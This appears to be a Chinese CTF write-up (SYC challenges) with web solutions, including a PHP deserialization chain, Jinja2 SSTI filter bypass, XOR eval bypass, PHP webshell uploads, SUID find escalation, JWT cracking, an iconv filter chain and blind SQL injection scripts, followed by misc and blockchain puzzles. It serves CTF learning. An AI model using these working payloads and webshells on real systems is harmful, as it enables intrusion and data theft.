X0K2q/Kv580UV40T3IHPajbeZIB5ki7fRutcrJq02xvmooqjGqWPEFmq28Mu5t/mjnNYer6lNbaY

VVyAaKK2WxEdjmfCfiW+i1vz/tEjZ48tjmP8q7y/1ieSVZmbMkp+Y+tFFVHcZoaZq9xbz/LI1ddp

zZvI/cUUV1UvhMyxatg3C9g5rN1i0juohvGfmoorWnuYyM68uXs7x/LON2M+/wDnNW9PvJJ5MM2a

KK1ic8TpLG0S5uI1blTyRnrUnitFgjt41UKpzkDv0oorQoq6eNtmvuakkH+g3P8A11NFFPoByt7b

JeW91NIN0jSHJrl/EC/aBZbueG/pRRSArx26wKpVdtaat/xPdv8ADRRQBdtl/wCJu3tAtSyIGkXI

oorY5yxFOxj60k9w0TLtPWiijoZjbg5UVHHRRUS2J6lfUGIZfpVWeiip6GnQryRjdmo5hjFFFEdy

SOo5pWE23tRRVmczy/8AammaHw/vXhlgOD+FeD/skeCdP+JPxo0s6nDuVYxJtjO0FsDk+/NFFe9l

/wAB5+I2Kf7VniG6vfihfWbSbLOHGyBOEX6CvNdB41CP2NFFe1RPHxXxI3NbkFzrU+Y412gfdGM9

aouoVloorRbkxBf+PGb/AID/AFrLl8V32j6ZaS28uyQBOcfWiitX8JJ61rfjrWvhT8RbM6Pqt9Gl

5p0Zljkk3of3PTH4n86+uv8AgmlqK/tP6DeWvjGzs9SXcp3CPa+Tu759hRRXnVtzswv8RH0Z8Zf+

Cc3wr+HU015p+izNIzNkTT+Ypx04x71yPgP9mrwTa3txcRaDZxzW8RkjYIMqwoor5vAturqe/iNk

Q/DLxS2peLNSkay06Ngr/cg25/WvDfjf+2H4wg+HsX2E6VpM32x/39jaeTLjjjdk0UV7GF6nnny/

4s/aA8YeN9c1GTVte1K9kuIyXZ53yfyIrzqfXbpHuLVZmWGPGFB+tFFdttTOW5u+DfiRrPwqt7fX

NFvHtr21nQhSA8cvX7ynrjH6mv0Y+CHx4m+LfhbSLzVPC/hGOW40yK5lFtZSRrJIcZYjzDyc0UVz

Yr4Y/MX2T//Z*/

将两边的注释符去掉就可以转化为图片Base64在线转换图片_图片转Base64_在线base64图片转换工具_yzc工具网

然后得到下图

key9

hernamemomo

然后就可以去干find那个方法了

$a = new Me();

$a->bro = &$a->secret;

$a->qwe = new her();

$a->qwe->asd = new important();

$args2 = array(new her,'find');

$args = array('seeyou'=>$args2);

$a->qwe->asd->power = new useless($args);

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

生成链子就可以打到find那个方法去了,记得在类里给hername还有key赋值

file_get_content使用data协议进行绕过



file=data://text/plain,loveyou

然后原生类读文件,这里写了个脚本寻思在根目录游走一番,结果啥也没有

import requests

import time

url = 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com/havefun.php?user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%7D&file=data://text/plain,loveyou&fun=glob:///*'

#fun=glob:///*

str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

for i in str:

    time.sleep(0.2)

    payload = url + 'm' + '*'

    headers = {

        'Host': 'd3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com',

        'Content-Length': '21',

        'Cache-Control': 'max-age=0',

        'Sec-Ch-Ua': '"Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"',

        'Sec-Ch-Ua-Mobile': '?0',

        'Sec-Ch-Ua-Platform': '"Windows"',

        'Upgrade-Insecure-Requests': '1',

        'Origin': 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com',

        'Content-Type': 'application/x-www-form-urlencoded',

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',

        'Sec-Fetch-Site': 'same-origin',

        'Sec-Fetch-Mode': 'navigate',

        'Sec-Fetch-User': '?1',

        'Sec-Fetch-Dest': 'document',

        'Referer': payload,

        'Accept-Encoding': 'gzip, deflate',

        'Accept-Language': 'zh-CN,zh;q=0.9',

        'Sec-Fetch-Site': 'cross-site',

        'Sec-Fetch-Mode': 'navigate',

        'Sec-Fetch-Dest': 'document'

    }





    data={

        'ctf':'DirectoryIterator'

    }

    r = requests.post(url,data,headers)

    te = r.text.split('!<br>')[3]

    print(te)

最后在html目录下找到flag

使用原生类读取flag名,访问得到flag

scan_tool

参考:

BUUCTF 2018 Online Tool-CSDN博客^v88^control_2,239^v2^insert_chatgpt&utm_term=%5BBUUCTF%202018%5DOnline%20Tool&spm=1018.2226.3001.4187

一些不包含数字和字母的webshell | 离别歌

这两个博客

利用escapeshellarg函数处理命令会剔除不可见字符的特性可以使用不可见字符对过滤的option进行绕过,payload如下

利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件

%27+-i%faL+%2Fflag+-o%faN+1.txt+%27

klf_2

考点:字符串拼接,全角绕过

{% set po=dict(po=a,p=b)|join%}                                //拼接pop           

{% set a=(()|select|string|list)|attr(po)(24)%}                //利用pop获取()|select|string|list列表中的_

{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}                                                             //拼接__init__

{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}                                                     //拼接__globals__

{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}                                                          //拼接__class__

{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}                                                           //拼接base

{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}            //拼接getitem,用来绕过[]

{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}                                           //拼接__subclasses__

{%set pp=dict(po=a,p=b,en=c)|join%}                                                                                                                                        //拼接popen

{%set re=dict(re=a,ad=b)|join%}                                                                                                                                                                     //拼接read

{%set cc=dict(c=a,h=b,r=c)|join%}                                                                                                                                               //拼接字符chr

{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %}                                                  //拼接__builtins__

{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)                                                    //利用os类提取函数chr,用于字符串拼接

(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}

{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)                                                 //使用os类,拼接出popen函数

(117)|attr(ini)|attr(glo)|attr(geti)(pp)%}                                                                                                               

{%set cmd=(ch(108),ch(115))|join()%}                                                                                                                             //利用chr拼接出系统命令

{{ppp(cmd)|attr(re)()}}                                                                                                                                                                                                          //进行命令执行

利用chr函数绕过命令的过滤,利用join函数将命令进行拼接,上传全角的时候记得url编码,全角字符如下

,,,,,,,,,

任何字符其实都可以使用非ascii码表字符进行绕过,脚本如下

for i in range(128,65537):

    tmp=chr(i)

    try:

        res = tmp.encode('idna').decode('utf-8')

        if("-") in res:

            continue

        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))

    except:

        pass

EzRce

参考博客:

源码如下

<?php

include('waf.php');

session_start();

show_source(__FILE__);

error_reporting(0);

$data=$_GET['data'];

if(waf($data)){

    eval($data);

}else{

    echo "no!";

}

?>

通过highlight_file读取waf.php,结果如下

function waf($data){ 

    if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){

        return False;

    }else{

        return True;

    }

}

字母中没有过滤eval,利用p神的脚本进行命令执行

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');

$___=$$__;

eval($___[_]);

POST

file_put_contents('1.php','<?=eval($_POST["chu0"]);?>');

shell连接蚁剑,读取flag发现没有权限,find提权获取flag

find / -perm -4000 2>/dev/null

find /tmp -exec cat /flag \; 

ezpython

简单的python原型链污染。

直接在注册的时候将身份变成vip,利用unicode编码绕过isvip检测。

然后直接利用数字全角绕过数字检测得到flag。

change_it

源码拿到账号密码,登陆后说没有上传权限,应该是要伪造cookie,测试后是jwt,密钥爆破

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4



Secret is "yibao"

jwt伪造admin权限,发现上传并没有限制,上传php文件成功,查看源码获得如下信息

function php_mt_seed($seed)

        {

            mt_srand($seed);

        }

        $seed = time();

        php_mt_seed($seed);

        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';



        $newFileName = '';

        for ($i = 0; $i < 10; $i++) {

            $newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];

        }

伪随机,密钥一样结果就一样,本地测试,文件名也是一样的,接下来就是对time进行爆破,这里是取了上下五十,写了两个脚本

import requests

import time

import os

url = 'https://senc7zrbyu7vzbzgqrduxpw38.node.game.sycsec.com/'

file = {'avatar':('chu3.php','<?=eval($_POST["chu0"]);?>','application/octet-stream')}

url1 = url + 'change.php'

headers = {

    'Cookie':'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImFkbWluIjoidHJ1ZSJ9.8nV1QCrKddruGHmqK69U69k6IQVUIzOvr69qB8qis1k'

}

r1 = requests.post(url=url1,files=file,headers=headers)

print(r1.text)

time = int(time.time())

with open('./1.txt','w') as f:

    for i in range(time-50,time+50):

        f.write(str(i)+'\n')

os.system('php test.php')



with open('./2.txt','r') as f2:

    for line in f2:

        data = line.strip()

        payload = url+ 'upload/' + data + '.php'

        print(payload)

        r = requests.get(payload)

        if r.status_code==200:

            print(data)

            break
<?php

$filename = '1.txt';

$file = fopen($filename,'r');

$file2 = fopen('./2.txt','w');

while (!feof($file)) {

    $line = fgets($file);

    mt_srand($line);

    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

    $newFileName = '';

    for ($i = 0; $i < 10; $i++) {

        $newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];



    }

    fwrite($file2,$newFileName."\n");

}

python先上传文件,获取时间戳,将上下50的时间结果写入文件,然后用php读取时间戳并生成对应的文件名写入文件,最后再用python读取文件名并发送请求对文件名进行爆破,爆出文件名后连接蚁剑在根目录获取flag

ezrfi

查看源码获得提示读取hint.py,经过从此尝试得到hint

../../hint

读取后得到如下内容

w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64 尊嘟假嘟 rc4,这里rc4key是猜的,题目描述的Syclover,最终结果如下

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

想到题目中是有hint.py,然后直接测信道写入文件并包含

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=../../hint

写入内容如下

<?php eval($_GET[1]);?>a

get 1命令执行在根目录下拿到flag

Akane!

glob://协议爆破文件名,访问就出flag

import requests

import base64

import time

url = 'http://svdpakfo21v04snw2pb7fk9p6.node.game.sycsec.com/?tuizi='

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.!@#$%^&()-+=/`~?*'

len1 = 24

name = ''

​

for j in range(1,100):

  for i in str1:

      time.sleep(1)

      payload1 = '''O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'''+str(len1)+''':"glob:///var/www/html/T'''+name+i+'''*";}s:19:"HoshinoAquamarine";N;'''

      pay1 = base64.b64encode(payload1.encode('utf-8'))

      payload = url + pay1.decode('utf-8')

      r = requests.get(payload)

      print(payload1)

      if 'Kurokawa Akane' in r.text:

          name+=i

          len1+=1

          print(name)

          break
TheS4crEtF1AgFi1EByo2takuXX.php

klf_3

上一次的payload直接拿来用

{% set po=dict(po=a,p=b)|join%}                               //拼接pop 

{% set a=(()|select|string|list)|attr(po)(24)%}               //利用pop获取()|select|string|list列表中的_

{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} //拼接__init__

{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} //拼接__globals__

{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} //拼接__class__

{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} //拼接base

{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} //拼接getitem,用来绕过[]

{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} //拼接__subclasses__

{%set pp=dict(po=a,p=b,en=c)|join%} //拼接popen

{%set re=dict(re=a,ad=b)|join%} //拼接read

{%set cc=dict(c=a,h=b,r=c)|join%} //拼接字符chr

{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %} //拼接__builtins__

{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //利用os类提取函数chr,用于字符串拼接

(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}

{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //使用os类,拼接出popen函数

(117)|attr(ini)|attr(glo)|attr(geti)(pp)%} 

{%set cmd=(ch(108),ch(115))|join()%} //利用chr拼接出系统命令

{{ppp(cmd)|attr(re)()}} //进行命令执行

ez_sql

先判断闭合

1')#

fuzz一下

主要是过滤了information这个字段,使用sys库的表获取库名表名,先注入一下数据库名

import requests

​

url = 'http://47.108.56.168:1111/index.php'

​

str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-+_'

​

mid=''

for i in range(0,100):

  for j in str1:

      payload = '''1\')/**/and/**/(schema())/**/like/**/binary/**/\''''+mid+j+'''%\'#'''

      data = {

          'id':payload

      }

      r = requests.post(url=url,data=data)

      if 'Success requires' in r.text:

          mid+=j

          print(mid)

          break

#articles

最后还是得用sys去获取库表名

import requests

​

url = 'http://47.108.56.168:1112/index.php'

​

str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$^&*()-+%'

​

mid=''

flag=0

for k in range(0,5):

  for i in range(0,15):

      if '%' in mid:

          mid = ''

          break

      for j in str1:

          if '%' in mid:

              mid=''

              break

          #payload = '''1\')/**/and/**/(select/**/table_schema/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''

          #payload = '''1\')/**/and/**/(select/**/column_name/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''

          payload = '''1\')/**/and/**/(select/**/*/**/from/**/ctf.flll444aaggg9/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''

          print(payload)

          data = {

              'id':payload

          }

          r = requests.post(url=url,data=data)

          if 'Success requires' in r.text:

              mid+=j

              print(mid)

              break

MISC

下一站是哪呢

分离图片。

网上找个表,得到iwanttobaijiucity

搜索一下是泸州,看一下 8月25的航班

得到 SYC{CZ8579_Luzhou}

窃听风云

HTML加密的流量包

看https://zhuanlan.zhihu.com/p/52882041

看有NTLMv2散列的.pcap文件。 通过ntlmssp这一字符串进行数据包筛选,获得身份验证的握手包。

得到三个包。查找NTLMSSP_AUTH包。过滤到 Security Blob层,就可以得到

复制一下domain和name。深入查找NTLM响应部分,找到NTProofStr字段和NTLMv2的响应。复制十六进制字符串到文本文档中。

将以上的值复制成以下:

然后利用hashcat 对字典进行爆破得到iamjackspassword

SYC{iamjackspassword}

extractMe

crc爆破,四个四个的来。

ez_smilemo

载附件后,得到一个exe文件和一个data.win文件,题目提示通关游戏即可得到flag,先去网上搜索一下data.win文件怎么打开

可以看到利用undertalemodtool软件可以打开,用这个软件打开data.win文件,并搜索flag

可以看到一段base64数据,base64解密后,包上SYC{}即为flag

Flag为 SYC{sm1le_1s_@_n1ce_g@me}

DEATH_N0TE

打开附件,是一张图片,先用zsteg跑出其中的LSB数据

base64解码后,得到一半的flag

剩下一半,通过观察图片,发现图片中有一些黑色和白色的小点,通过降低图片的大小,使得这些小点更加清晰,脚本如下:

from PIL import Image



im = Image.open('1.png')

pix = im.load()

width = im.size[0]

height = im.size[1]

# 新图像的宽度和高度(每12个像素生成一个新像素)

new_width = width // 5

new_height = height // 5



# 创建一个新的图像对象

new_img = Image.new("RGB", (new_width, new_height))

for x in range(0,width,5):

    for y in range(0,height,5):

        rgb=pix[x, y]

        new_img.putpixel((x//5,y//5),(int(rgb[0]),int(rgb[1]),int(rgb[2])))

new_img.save('new_image.png')

经过对照后,得到一段base64数据:TkFNRV9vMnRha3VYWH0=

解码后拼在一起即为flag

Flag为SYC{D4@Th_N0t4_NAME_o2takuXX}

Qingwan心都要碎了

通过搜索磁器口,可定位旅游地点在重庆

再搜索一下重庆著名博物馆,即可找到flag

Flag为SYC{中国三峡博物馆}

xqr

打开附件是一个二维码,直接扫描会得到一个假flag,用010打开,发现里面还藏着一张png图片

提取出来,发现还是一张类似二维码图片

两张图片的像素大小不一样,无法异或,所以先用脚本把提取出来的图片大小放大,脚本如下:

from PIL import Image



# 打开原始图像

im = Image.open('2.png')

pix = im.load()

width = im.size[0]

height = im.size[1]



# 新图像的宽度和高度(每个像素扩大为一个 3x3 块)

new_width = width * 3

new_height = height * 3



# 创建一个新的图像对象

new_img = Image.new("RGB", (new_width, new_height))



# 将每个像素复制到新图像中的一个 3x3 块

for x in range(width):

    for y in range(height):

        rgb = pix[x, y]

        for i in range(3):

            for j in range(3):

                new_img.putpixel((x * 3 + i, y * 3 + j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))



# 保存新图像

new_img.save('enlarged_image.png')

再将两张图片异或,扫码即为flag

Flag为SYC{hOp3_u_h@ve_Fun}

DEATH_N1TE

打开附件,是一段音频和一张gif图片,音频的后半部分有很明显的SSTV隐写,利用手机上的robot36软件将声音转图片获得前半部分的flag

gif图片有880张,把gif图片转成880张图片保存到文件夹中

利用imagemagick把这800多张图片合并在一起

利用gaps自动拼图软件,把图片基本复原

得到一段base64数据XzE0X0tpMTE0Un0=,解密把两段拼在一起即为flag

Flag为SYC{H4xr0t0r_14_Ki114R}

give_me_Goerlieth

这个题目吗要求在Goerlieth测试连上进行,但我没有Goerlieth币啊,咋办,怎么做

考虑到题目上让交Transaction Hash在区块连浏览器上是公开的,只需要在区块链浏览器上交别人的就可以了

0x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f10x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f1

SimpleConnect

去区块链浏览器搜地址,直接用上一个的合约地址

0x663A6e994d0197273c3D578D220571020545bFD3

DEATH-N2TE

提取视频中可疑的像素点

import cv2

import numpy as np

​

​

def extract_pixels(video_path, threshold, start_col, col_interval, output_image_path):

  cap = cv2.VideoCapture(video_path)

​

  frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))

  frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))

  frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))

​

  extracted_image = np.zeros((frame_height, min(frame_count, frame_width), 3), dtype=np.uint8)

​

  current_col = start_col

  for frame_idx in range(frame_count):

      ret, frame = cap.read()

      if not ret:

          break

​

      if current_col < frame_width:

          col_to_scan = frame[:, current_col, :]

          white_pixels = np.all(col_to_scan >= threshold, axis=-1)

          extracted_image[white_pixels, frame_idx, :] = col_to_scan[white_pixels]

​

      current_col += col_interval

      if current_col >= frame_width:

          current_col = start_col # Reset to start if we exceed the width

​

  cap.release()

​

  cv2.imwrite(output_image_path, extracted_image)

  cv2.imshow('Extracted Image', extracted_image)

  cv2.waitKey(0)

  cv2.destroyAllWindows()

​

​

video_path = './kira.mp4'

threshold = np.array([200, 200, 200])

start_col = 5

col_interval = 10

output_image_path = 'extracted_image.png'

​

extract_pixels(video_path, threshold, start_col, col_interval, output_image_path)

提取出来有些不清楚,可以放到文档里拉伸一下,得到flag

stage

pragma solidity ^0.8.4;

​

interface IReceiver {

  function getNumber() external view returns(uint256);

}

contract stageGame{

  mapping (address => bool) private flag;

  mapping (address => bool) public isStage1Completed;

​

  function stage1() external {

      uint size;

      address addr = msg.sender;

      assembly { size := extcodesize(addr) }

      require(size == 0,"EOA must!");

      isStage1Completed[msg.sender] = true;

  }

​

  function stage2(uint _guess) external {

      require(isStage1Completed[msg.sender],"You should complete stage1 first!");

      uint number = block.timestamp % 100 + 1;

      require(number == _guess, "Wrong number!");

      _stage3();

  }

​

  function _stage3() private {

      uint size;

      address addr = msg.sender;

      assembly { size := extcodesize(addr) }

      require(size > 0,"Contract must!");

      uint256 number1;

      uint256 number2;

      (bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));

      require(success,"First call failed!");

      number1 = abi.decode(data1, (uint256));

​

      (bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));

      require(success2,"Second call failed!");

      number2 = abi.decode(data2, (uint256));

      require(number1 != number2, "Must return different Number!");

​

      flag[tx.origin] = true;

  }

​

​

  function check(address addr) external view returns(bool){

      return flag[addr];

  }

​

}

